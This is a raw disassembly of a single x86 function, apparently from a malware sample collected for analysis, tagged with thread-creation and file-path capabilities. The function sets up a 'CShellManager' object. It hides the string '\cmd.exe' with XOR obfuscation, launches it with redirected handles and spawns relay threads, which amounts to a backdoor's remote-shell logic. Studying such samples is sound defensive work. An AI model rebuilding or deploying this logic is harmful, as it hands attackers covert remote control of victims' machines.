Function at 0x10046170
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100868e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x29c
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.CManager.0
test edi, edi
je 0x100461a8
mov dword [esi + 8], edi
mov dword [edi + 0x68], esi
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 4], eax
push 0x44
lea eax, [ebp - 0xa0]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [esi], vtable.CShellManager.0
call fcn.10063db0
push 0x208
lea eax, [ebp - 0x2a8]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x5c], xmm0
call fcn.10063db0
mov eax, dword [ebp + 0xc]
lea ecx, [esi + 0x1c]
add esp, 0x18
mov dword [esi + 0xc], eax
lea eax, [esi + 0x14]
mov dword [esi + 0x34], 0
lea edx, [esi + 0x10]
mov dword [eax], 0
mov dword [ebp - 0x30], eax
lea edi, [ebp - 0x44]
push 0
push edi
lea eax, [esi + 0x18]
mov dword [esi + 0x30], 0
push ecx
mov dword [edx], 0
mov dword [ebp - 0x34], eax
mov dword [eax], 0
mov dword [ecx], 0
mov eax, dword [0x100ac2a4]
push edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x44], 0xc
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 1
call eax
mov edi, dword [ebp + 8]
test eax, eax
jne 0x10046299
mov eax, dword [esi + 0x10]
test eax, eax
je 0x10046270
push eax
call dword [0x100ac29c]
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1004627e
push eax
call dword [0x100ac29c]
mov ecx, edi
call fcn.10042fa0
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x100ac2a4]
lea ecx, [ebp - 0x44]
push 0
push ecx
lea ecx, [esi + 0x14]
push ecx
lea ecx, [esi + 0x18]
push ecx
call eax
test eax, eax
jne 0x100462c5
mov eax, dword [esi + 0x18]
test eax, eax
je 0x100462c0
push eax
call dword [0x100ac29c]
mov eax, dword [esi + 0x14]
jmp 0x10046273
push 0x44
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.10063db0
add esp, 0xc
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0xa0], 0x44
mov word [ebp - 0x70], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x68], eax
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x2a8]
push 0x104
push eax
mov dword [ebp - 0x74], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
mov edx, 0x5c
mov dword [ebp - 0x28], eax
xor dx, word [ebp - 0x28]
mov word [ebp - 0x22], dx
xor edx, edx
lea esi, [eax + 0x63]
mov word [ebp - 0x24], ax
lea edi, [eax + 0x6d]
lea eax, [esi + 2]
lea ecx, [esi + 0x15]
xor si, dx
mov word [ebp - 0x20], si
mov edx, 0x64
xor esi, esi
xor dx, si
xor cx, si
mov word [ebp - 0x1c], dx
xor di, si
mov edx, 0x2e
mov word [ebp - 0x1e], di
xor dx, si
mov word [ebp - 0x16], cx
mov word [ebp - 0x1a], dx
mov edx, eax
xor ax, si
xor dx, si
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x22]
push eax
lea eax, [ebp - 0x2a8]
mov word [ebp - 0x18], dx
push 0x104
push eax
call fcn.10070c10
add esp, 0xc
mov eax, dword [0x100ac288]
lea ecx, [ebp - 0x5c]
push ecx
lea ecx, [ebp - 0xa0]
push ecx
push esi
push esi
push 0x20
push 1
push esi
push esi
push esi
lea ecx, [ebp - 0x2a8]
push ecx
call eax
test eax, eax
jne 0x1004640d
mov eax, dword [ebp - 0x2c]
push dword [eax]
call dword [0x100ac29c]
mov eax, dword [ebp - 0x30]
push dword [eax]
call dword [0x100ac29c]
mov eax, dword [ebp - 0x34]
push dword [eax]
call dword [0x100ac29c]
mov eax, dword [ebp - 0x38]
push dword [eax]
call dword [0x100ac29c]
mov ecx, dword [ebp + 8]
call fcn.10042fa0
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp + 8]
push 8
mov dword [edi + 0x20], eax
mov eax, dword [ebp - 0x58]
mov dword [edi + 0x24], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x4c], 2
call fcn.10043130
push 0xffffffffffffffff
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
push 0x10046620
push 0
push 0
call esi
push 0
push 0
push edi
push 0x10046720
push 0
push 0
mov dword [edi + 0x28], eax
call esi
mov ecx, dword [ebp - 0xc]
mov dword [edi + 0x2c], eax
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8